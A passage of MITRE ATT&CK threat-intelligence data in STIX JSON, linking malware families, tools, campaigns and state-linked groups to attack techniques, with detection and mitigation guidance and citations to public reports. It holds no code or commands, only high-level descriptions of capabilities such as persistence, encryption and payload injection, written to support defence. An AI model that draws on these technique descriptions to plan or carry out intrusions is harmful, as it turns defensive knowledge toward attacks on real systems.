AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T15:58:27.037Z","description":"[Mori](https://attack.mitre.org/software/S1047) can resolve networking APIs from strings that are ADD-encrypted.(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--7e100ca4-e639-48d9-9a9d-8ad84aa7b448","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d3c2752-8722-488c-9a06-7bcf308604df","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T15:03:04.728Z","description":"Monitor for newly constructed network connections that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines using Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user. Monitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).\n\nNote: Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on RPC network flows. Traffic to the RPC Endpoint Mapper will always have the destination port of 135. Assuming success, RPC traffic will continue to the endpoint. The endpoint and the client both bind to dynamically assigned ports (on Windows, this is typically greater than 49152). The traffic between the client and endpoint can be detected by looking at traffic to 135 followed by traffic where the source and destination ports are at least 49152.","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7d4149dc-1387-40cc-8f84-2f111e01ceb4","created":"2022-03-30T14:26:51.855Z","x_mitre_version":"0.1","external_references":[{"source_name":"Open Login Items Apple","url":"https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac","description":"Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021."},{"source_name":"Startup Items Eclectic","url":"https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/","description":"hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021."},{"source_name":"objsee block blocking login items","url":"https://objective-see.com/blog/blog_0x31.html","description":"Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021."},{"source_name":"sentinelone macos persist Jun 2019","url":"https://www.sentinelone.com/blog/how-malware-persists-on-macos/","description":"Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited.","modified":"2022-04-20T18:38:50.229Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7d584a95-3253-4093-bc03-8933374652a0","created":"2022-04-13T13:21:35.436Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ThreatNeedle](https://attack.mitre.org/software/S0665) can obtain file and directory information.(Citation: Kaspersky ThreatNeedle Feb 2021)","modified":"2022-04-13T13:21:35.436Z","relationship_type":"uses","source_ref":"malware--16040b1c-ed28-4850-9d8f-bb8b81c42092","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d59a08b-6bef-4fe2-a5ac-ffff0680223e","created":"2024-03-11T20:00:13.732Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-11T20:00:13.732Z","description":" (Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d5cc26f-780f-4897-bae0-811e6b8bfa30","created":"2023-09-28T13:34:45.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:33:44.057Z","description":"[Pacu](https://attack.mitre.org/software/S1091) can search for sensitive data: for example, in Code Build environment variables, EC2 user data, and Cloud Formation templates.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d6021ae-3dd7-45f6-ad96-96eae77fe67c","created":"2024-08-08T20:09:55.191Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T15:34:59.606Z","description":"[ZeroCleare](https://attack.mitre.org/software/S1151) has the ability to uninstall the [RawDisk](https://attack.mitre.org/software/S0364) driver and delete the `rwdsk` file on disk.(Citation: Mandiant ROADSWEEP August 2022)(Citation: CISA Iran Albanian Attacks September 2022)","relationship_type":"uses","source_ref":"malware--8d8518db-0f52-4f3c-8017-01389a8522bb","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d667946-e6f1-418b-9ad3-0e3689dfaaa7","type":"relationship","created":"2021-03-08T13:50:20.463Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}],"modified":"2021-03-15T17:16:08.931Z","description":"[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can copy itself into the current user’s Startup folder as “Narrator.exe” for persistence.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)","relationship_type":"uses","source_ref":"malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d68b5ba-dc59-4004-9742-3fbb0b22440e","created":"2024-06-10T19:01:18.738Z","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T19:01:18.738Z","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) used acquired Virtual Private Servers as control systems for devices infected with KV Botnet malware.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d6cd19c-de8a-45ab-a54a-213bef87dee6","created":"2024-03-05T19:55:48.874Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-05T19:55:48.874Z","description":"(Citation: Mandiant Cutting Edge January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"malware--c93e3079-43fb-4d8d-9e99-db63d07eadc9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d71658b-2b9f-4639-9fe7-7c7924b52ff7","type":"relationship","created":"2021-03-03T22:12:11.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-04-20T02:41:22.121Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) can use the RegEnumKeyW to iterate through Registry keys.(Citation: Crowdstrike Indrik November 2018) ","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d72dfaf-3ba5-4420-985c-b0cd16716428","type":"relationship","created":"2021-10-13T15:35:20.829Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-10-13T15:35:20.829Z","description":"[BoomBox](https://attack.mitre.org/software/S0635) can search for specific files and directories on a machine.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--c26f1c05-b861-4970-94dc-2f7f921a3074","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d752e82-6b47-4d98-a566-05631454a27f","created":"2024-02-06T18:58:24.141Z","revoked":false,"external_references":[{"source_name":"Secureworks BRONZE FLEETWOOD Profile","description":"Secureworks CTU. (n.d.). BRONZE FLEETWOOD. Retrieved February 5, 2024.","url":"https://www.secureworks.com/research/threat-profiles/bronze-fleetwood"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-06T18:58:24.141Z","description":"(Citation: Secureworks BRONZE FLEETWOOD Profile)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d76cecb-4eec-46ea-8ca7-9844b1b0b3e6","created":"2023-01-26T15:20:17.403Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-26T15:20:17.403Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used dead drop resolvers on two separate tech community forums for their [KEYPLUG](https://attack.mitre.org/software/S1051) Windows-version backdoor; notably [APT41](https://attack.mitre.org/groups/G0096) updated the community forum posts frequently with new dead drop resolvers during the campaign.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d770dbe-1baa-4411-bd37-b703c6f86585","type":"relationship","created":"2020-03-13T20:26:46.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T17:45:48.476Z","description":"Ensure that local administrator accounts have complex, unique passwords across all systems on the network.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d7adc46-deab-4b32-9902-ac1beb0e95fa","type":"relationship","created":"2019-05-14T15:26:39.941Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf","source_name":"Kaspersky StoneDrill 2017"}],"modified":"2019-06-07T20:52:37.009Z","description":"[StoneDrill](https://attack.mitre.org/software/S0380) has relied on injecting its payload directly into the process memory of the victim's preferred browser.(Citation: Kaspersky StoneDrill 2017)","relationship_type":"uses","source_ref":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d7e63bb-1b78-459d-a300-d21bb270ad7d","created":"2022-09-27T16:39:31.707Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:39:31.707Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors discovered network disks mounted to the system using [netstat](https://attack.mitre.org/software/S0104).(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d8a48be-2429-401f-b963-ec0f5927a282","created":"2022-08-07T15:02:06.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022.","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T22:20:25.941Z","description":" [Action RAT](https://attack.mitre.org/software/S1028)'s commands, strings, and domains can be Base64 encoded within the payload.(Citation: MalwareBytes SideCopy Dec 2021)","relationship_type":"uses","source_ref":"malware--36801ffb-5c85-4c50-9121-6122e389366d","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d8a729c-3656-4b31-85c0-42b75001f913","type":"relationship","created":"2019-06-24T13:38:13.109Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-08T21:11:48.073Z","description":"For malicious code served up through ads, adblockers can help prevent that code from executing in the first place.\n\nScript blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d8a984d-676d-47bf-a660-00c43ab49985","created":"2023-03-26T22:03:54.870Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"},{"source_name":"Microsoft 365 Defender Solorigate","description":"Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.","url":"https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T22:03:54.870Z","description":"(Citation: Microsoft 365 Defender Solorigate)(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d8c3d33-941d-4654-b7f4-74381905c98d","type":"relationship","created":"2020-01-28T17:05:15.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-28T17:05:15.051Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d8dcd8d-3ca4-4464-b8ab-9dee24f93c70","created":"2024-06-06T18:47:22.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"},{"source_name":"SentinelOne INC Ransomware","description":"SentinelOne. (n.d.). What Is Inc. Ransomware?. Retrieved June 5, 2024.","url":"https://www.sentinelone.com/anthology/inc-ransom/"},{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"},{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T19:00:53.630Z","description":"[INC Ransomware](https://attack.mitre.org/software/S1139) can encrypt data on victim systems, including through the use of partial encryption and multi-threading to speed encryption.(Citation: SentinelOne INC Ransomware)(Citation: Huntress INC Ransom Group August 2023)(Citation: Cybereason INC Ransomware November 2023)(Citation: SOCRadar INC Ransom January 2024)(Citation: SentinelOne INC Ransomware)","relationship_type":"uses","source_ref":"malware--f25d4207-25b2-4bb0-a17a-403943c670ad","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d8e5c4d-afdb-43f9-bfcf-7ed674a516e3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Darkmoon Aug 2005","description":"Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"}],"modified":"2020-03-17T14:44:54.848Z","description":"[PoisonIvy](https://attack.mitre.org/software/S0012) stages collected data in a text file.(Citation: Symantec Darkmoon Aug 2005)","relationship_type":"uses","source_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d93f85e-52a1-4771-8378-0fabfd707ece","type":"relationship","created":"2020-05-05T15:26:30.458Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-05T15:26:30.458Z","description":"[Rifdoor](https://attack.mitre.org/software/S0433) has been distributed in e-mails with malicious Excel or Word documents.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--44c75271-0e4d-496f-ae0a-a6d883a42a65","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7d95669c-e4e9-40d5-a36b-cadbc922270d","created":"2024-01-09T19:21:19.461Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-09T19:21:19.461Z","description":"[Samurai](https://attack.mitre.org/software/S1099) can use a specific module for file enumeration.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7d9c5216-da63-4b8f-ade7-a1854e43bd3f","type":"relationship","created":"2019-06-24T13:56:03.592Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-24T15:06:46.271Z","description":"Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular 